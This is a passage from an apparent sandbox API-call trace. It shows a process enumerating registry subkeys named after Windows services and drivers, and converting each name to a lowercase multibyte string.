lpName=0x2152850, cchName=0x104 | out: lpName="Compbatt") returned 0x0 [0239.407] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="compbatt", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0239.407] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="compbatt", cchWideChar=8, lpMultiByteStr=0x21f1da8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="compbatt", lpUsedDefaultChar=0x0) returned 8 [0239.407] RegEnumKeyW (in: hKey=0x150, dwIndex=0x48, lpName=0x2152850, cchName=0x104 | out: lpName="CompositeBus") returned 0x0 [0239.407] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="compositebus", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0239.407] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="compositebus", cchWideChar=12, lpMultiByteStr=0x21f1928, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="compositebus", lpUsedDefaultChar=0x0) returned 12 [0239.407] RegEnumKeyW (in: hKey=0x150, dwIndex=0x49, lpName=0x2152850, cchName=0x104 | out: lpName="COMSysApp") returned 0x0 [0239.407] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="comsysapp", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0239.407] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="comsysapp", cchWideChar=9, lpMultiByteStr=0x21f1da8, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="comsysapp", lpUsedDefaultChar=0x0) returned 9 [0239.407] RegEnumKeyW (in: hKey=0x150, dwIndex=0x4a, lpName=0x2152850, cchName=0x104 | out: lpName="crcdisk") returned 0x0 [0239.407] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="crcdisk", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0239.407] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="crcdisk", cchWideChar=7, lpMultiByteStr=0x21f1928, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="crcdisk", lpUsedDefaultChar=0x0) returned 7 [0239.407] RegEnumKeyW (in: hKey=0x150, dwIndex=0x4b, lpName=0x2152850, cchName=0x104 | out: lpName="crypt32") returned 0x0 [0239.407] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="crypt32", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0239.407] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="crypt32", cchWideChar=7, lpMultiByteStr=0x21f1da8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="crypt32", lpUsedDefaultChar=0x0) returned 7 [0239.407] RegEnumKeyW (in: hKey=0x150, dwIndex=0x4c, lpName=0x2152850, cchName=0x104 | out: lpName="CryptSvc") returned 0x0 [0239.408] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cryptsvc", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0239.408] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cryptsvc", cchWideChar=8, lpMultiByteStr=0x21f1928, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cryptsvc", lpUsedDefaultChar=0x0) returned 8 [0239.408] RegEnumKeyW (in: hKey=0x150, dwIndex=0x4d, lpName=0x2152850, cchName=0x104 | out: lpName="CSC") returned 0x0 [0239.408] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="csc", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0239.408] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="csc", cchWideChar=3, lpMultiByteStr=0x21f1da8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="csc", lpUsedDefaultChar=0x0) returned 3 [0239.408] RegEnumKeyW (in: hKey=0x150, dwIndex=0x4e, lpName=0x2152850, cchName=0x104 | out: lpName="CscService") returned 0x0 [0239.408] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cscservice", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0239.408] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cscservice", cchWideChar=10, lpMultiByteStr=0x21f1928, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cscservice", lpUsedDefaultChar=0x0) returned 10 [0239.408] RegEnumKeyW (in: hKey=0x150, dwIndex=0x4f, lpName=0x2152850, cchName=0x104 | out: lpName="DCLocator") returned 0x0 [0239.408] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dclocator", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0239.408] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dclocator", cchWideChar=9, lpMultiByteStr=0x21f1da8, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dclocator", lpUsedDefaultChar=0x0) returned 9 [0239.408] RegEnumKeyW (in: hKey=0x150, dwIndex=0x50, lpName=0x2152850, cchName=0x104 | out: lpName="DcomLaunch") returned 0x0 [0239.408] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dcomlaunch", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0239.408] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dcomlaunch", cchWideChar=10, lpMultiByteStr=0x21f1928, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dcomlaunch", lpUsedDefaultChar=0x0) returned 10 [0239.408] RegEnumKeyW (in: hKey=0x150, dwIndex=0x51, lpName=0x2152850, cchName=0x104 | out: lpName="defragsvc") returned 0x0 [0239.408] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="defragsvc", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0239.408] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="defragsvc", cchWideChar=9, lpMultiByteStr=0x21f1da8, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="defragsvc", lpUsedDefaultChar=0x0) returned 9 [0239.409] RegEnumKeyW (in: hKey=0x150, dwIndex=0x52, lpName=0x2152850, cchName=0x104 | out: lpName="DfsC") returned 0x0 [0239.409] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dfsc", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0239.409] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dfsc", cchWideChar=4, lpMultiByteStr=0x21f1928, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dfsc", lpUsedDefaultChar=0x0) returned 4 [0239.409] RegEnumKeyW (in: hKey=0x150, dwIndex=0x53, lpName=0x2152850, cchName=0x104 | out: lpName="Dhcp") returned 0x0 [0239.409] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dhcp", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0239.409] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dhcp", cchWideChar=4, lpMultiByteStr=0x21f1da8, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dhcp", lpUsedDefaultChar=0x0) returned 4 [0239.409] RegEnumKeyW (in: hKey=0x150, dwIndex=0x54, lpName=0x2152850, cchName=0x104 | out: lpName="DiagTrack") returned 0x0 [0239.409] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="diagtrack", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0239.409] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="diagtrack", cchWideChar=9, lpMultiByteStr=0x21f1928, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="diagtrack", lpUsedDefaultChar=0x0) returned 9 [0239.409] RegEnumKeyW (in: hKey=0x150, dwIndex=0x55, lpName=0x2152850, cchName=0x104 | out: lpName="discache") returned 0x0 [0239.409] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="discache", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0239.409] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="discache", cchWideChar=8, lpMultiByteStr=0x21f1da8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="discache", lpUsedDefaultChar=0x0) returned 8 [0239.409] RegEnumKeyW (in: hKey=0x150, dwIndex=0x56, lpName=0x2152850, cchName=0x104 | out: lpName="Disk") returned 0x0 [0239.410] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="disk", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0239.410] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="disk", cchWideChar=4, lpMultiByteStr=0x21f1928, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="disk", lpUsedDefaultChar=0x0) returned 4 [0239.410] RegEnumKeyW (in: hKey=0x150, dwIndex=0x57, lpName=0x2152850, cchName=0x104 | out: lpName="dmvsc") returned 0x0 [0239.410] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dmvsc", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0239.410] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dmvsc", cchWideChar=5, lpMultiByteStr=0x21f1da8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dmvsc", lpUsedDefaultChar=0x0) returned 5 [0239.410] RegEnumKeyW (in: hKey=0x150, dwIndex=0x58, lpName=0x2152850, cchName=0x104 | out: lpName="Dnscache") returned 0x0 [0239.410] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dnscache", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0239.410] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dnscache", cchWideChar=8, lpMultiByteStr=0x21f1928, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dnscache", lpUsedDefaultChar=0x0) returned 8 [0239.410] RegEnumKeyW (in: hKey=0x150, dwIndex=0x59, lpName=0x2152850, cchName=0x104 | out: lpName="dot3svc") returned 0x0 [0239.410] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dot3svc", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0239.410] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dot3svc", cchWideChar=7, lpMultiByteStr=0x21f1da8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dot3svc", lpUsedDefaultChar=0x0) returned 7 [0239.410] RegEnumKeyW (in: hKey=0x150, dwIndex=0x5a, lpName=0x2152850, cchName=0x104 | out: lpName="DPS") returned 0x0 [0239.410] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dps", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0239.410] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dps", cchWideChar=3, lpMultiByteStr=0x21f1928, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dps", lpUsedDefaultChar=0x0) returned 3 [0239.410] RegEnumKeyW (in: hKey=0x150, dwIndex=0x5b, lpName=0x2152850, cchName=0x104 | out: lpName="drmkaud") returned 0x0 [0239.410] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="drmkaud", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0239.411] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="drmkaud", cchWideChar=7, lpMultiByteStr=0x21f1da8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="drmkaud", lpUsedDefaultChar=0x0) returned 7 [0239.411] RegEnumKeyW (in: hKey=0x150, dwIndex=0x5c, lpName=0x2152850, cchName=0x104 | out: lpName="DXGKrnl") returned 0x0 [0239.411] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dxgkrnl", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0239.411] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dxgkrnl", cchWideChar=7, lpMultiByteStr=0x21f1928, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dxgkrnl", lpUsedDefaultChar=0x0) returned 7 [0239.411] RegEnumKeyW (in: hKey=0x150, dwIndex=0x5d, lpName=0x2152850, cchName=0x104 | out: lpName="E1G60") returned 0x0 [0239.411] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="e1g60", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0239.411] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="e1g60", cchWideChar=5, lpMultiByteStr=0x21f1da8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="e1g60", lpUsedDefaultChar=0x0) returned 5 [0239.411] RegEnumKeyW (in: hKey=0x150, dwIndex=0x5e, lpName=0x2152850, cchName=0x104 | out: lpName="EapHost") returned 0x0 [0239.411] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eaphost", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0239.411] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eaphost", cchWideChar=7, lpMultiByteStr=0x21f1928, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eaphost", lpUsedDefaultChar=0x0) returned 7 [0239.411] RegEnumKeyW (in: hKey=0x150, dwIndex=0x5f, lpName=0x2152850, cchName=0x104 | out: lpName="ebdrv") returned 0x0 [0239.411] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ebdrv", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0239.411] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ebdrv", cchWideChar=5, lpMultiByteStr=0x21f1da8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ebdrv", lpUsedDefaultChar=0x0) returned 5 [0239.411] RegEnumKeyW (in: hKey=0x150, dwIndex=0x60, lpName=0x2152850, cchName=0x104 | out: lpName="EFS") returned 0x0 [0239.411] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="efs", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0239.411] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="efs", cchWideChar=3, lpMultiByteStr=0x21f1928, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="efs", lpUsedDefaultChar=0x0) returned 3 [0239.411] RegEnumKeyW (in: hKey=0x150, dwIndex=0x61, lpName=0x2152850, cchName=0x104 | out: lpName="ehRecvr") returned 0x0 [0239.412] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ehrecvr", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0239.412] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ehrecvr", cchWideChar=7, lpMultiByteStr=0x21f1da8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ehrecvr", lpUsedDefaultChar=0x0) returned 7 [0239.412] RegEnumKeyW (in: hKey=0x150, dwIndex=0x62, lpName=0x2152850, cchName=0x104 | out: lpName="ehSched") returned 0x0 [0239.412] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ehsched", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0239.412] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ehsched", cchWideChar=7, lpMultiByteStr=0x21f1928, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ehsched", lpUsedDefaultChar=0x0) returned 7 [0239.412] RegEnumKeyW (in: hKey=0x150, dwIndex=0x63, lpName=0x2152850, cchName=0x104 | out: lpName="elxstor") returned 0x0 [0239.412] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="elxstor", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0239.412] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="elxstor", cchWideChar=7, lpMultiByteStr=0x21f1da8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="elxstor", lpUsedDefaultChar=0x0) returned 7 [0239.412] RegEnumKeyW (in: hKey=0x150, dwIndex=0x64, lpName=0x2152850, cchName=0x104 | out: lpName="ErrDev") returned 0x0 [0239.412] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="errdev", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0239.412] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="errdev", cchWideChar=6, lpMultiByteStr=0x21f1928, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="errdev", lpUsedDefaultChar=0x0) returned 6 [0239.412] RegEnumKeyW (in: hKey=0x150, dwIndex=0x65, lpName=0x2152850, cchName=0x104 | out: lpName="ESENT") returned 0x0 [0239.412] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="esent", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0239.412] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="esent", cchWideChar=5, lpMultiByteStr=0x21f1da8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="esent", lpUsedDefaultChar=0x0) returned 5 [0239.412] RegEnumKeyW (in: hKey=0x150, dwIndex=0x66, lpName=0x2152850, cchName=0x104 | out: lpName="eventlog") returned 0x0 [0239.412] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eventlog", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0239.413] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eventlog", cchWideChar=8, lpMultiByteStr=0x21f1928, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eventlog", lpUsedDefaultChar=0x0) returned 8 [0239.413] RegEnumKeyW (in: hKey=0x150, dwIndex=0x67, lpName=0x2152850, cchName=0x104 | out: lpName="EventSystem") returned 0x0 [0239.413] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eventsystem", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0239.413] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eventsystem", cchWideChar=11, lpMultiByteStr=0x21f1da8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eventsystem", lpUsedDefaultChar=0x0) returned 11 [0239.413] RegEnumKeyW (in: hKey=0x150, dwIndex=0x68, lpName=0x2152850, cchName=0x104 | out: lpName="exfat") returned 0x0 [0239.413] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="exfat", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0239.413] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="exfat", cchWideChar=5, lpMultiByteStr=0x21f1928, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="exfat", lpUsedDefaultChar=0x0) returned 5 [0239.413] RegEnumKeyW (in: hKey=0x150, dwIndex=0x69, lpName=0x2152850, cchName=0x104 | out: lpName="fastfat") returned 0x0 [0239.413] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fastfat", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0239.413] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fastfat", cchWideChar=7, lpMultiByteStr=0x21f1da8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fastfat", lpUsedDefaultChar=0x0) returned 7 [0239.413] RegEnumKeyW (in: hKey=0x150, dwIndex=0x6a, lpName=0x2152850, cchName=0x104 | out: lpName="Fax") returned 0x0 [0239.413] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fax", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0239.413] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fax", cchWideChar=3, lpMultiByteStr=0x21f1928, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fax", lpUsedDefaultChar=0x0) returned 3 [0239.413] RegEnumKeyW (in: hKey=0x150, dwIndex=0x6b, lpName=0x2152850, cchName=0x104 | out: lpName="fdc") returned 0x0 [0239.413] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fdc", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0239.413] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fdc", cchWideChar=3, lpMultiByteStr=0x21f1da8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fdc", lpUsedDefaultChar=0x0) returned 3 [0239.414] RegEnumKeyW (in: hKey=0x150, dwIndex=0x6c, lpName=0x2152850, cchName=0x104 | out: lpName="fdPHost") returned 0x0 [0239.414] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fdphost", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0239.414] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fdphost", cchWideChar=7, lpMultiByteStr=0x21f1928, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fdphost", lpUsedDefaultChar=0x0) returned 7 [0239.414] RegEnumKeyW (in: hKey=0x150, dwIndex=0x6d, lpName=0x2152850, cchName=0x104 | out: lpName="FDResPub") returned 0x0 [0239.414] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fdrespub", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0239.414] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fdrespub", cchWideChar=8, lpMultiByteStr=0x21f1da8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fdrespub", lpUsedDefaultChar=0x0) returned 8 [0239.414] RegEnumKeyW (in: hKey=0x150, dwIndex=0x6e, lpName=0x2152850, cchName=0x104 | out: lpName="FileInfo") returned 0x0 [0239.414] WideCharToMultiByte (in: CodePage=0x0, 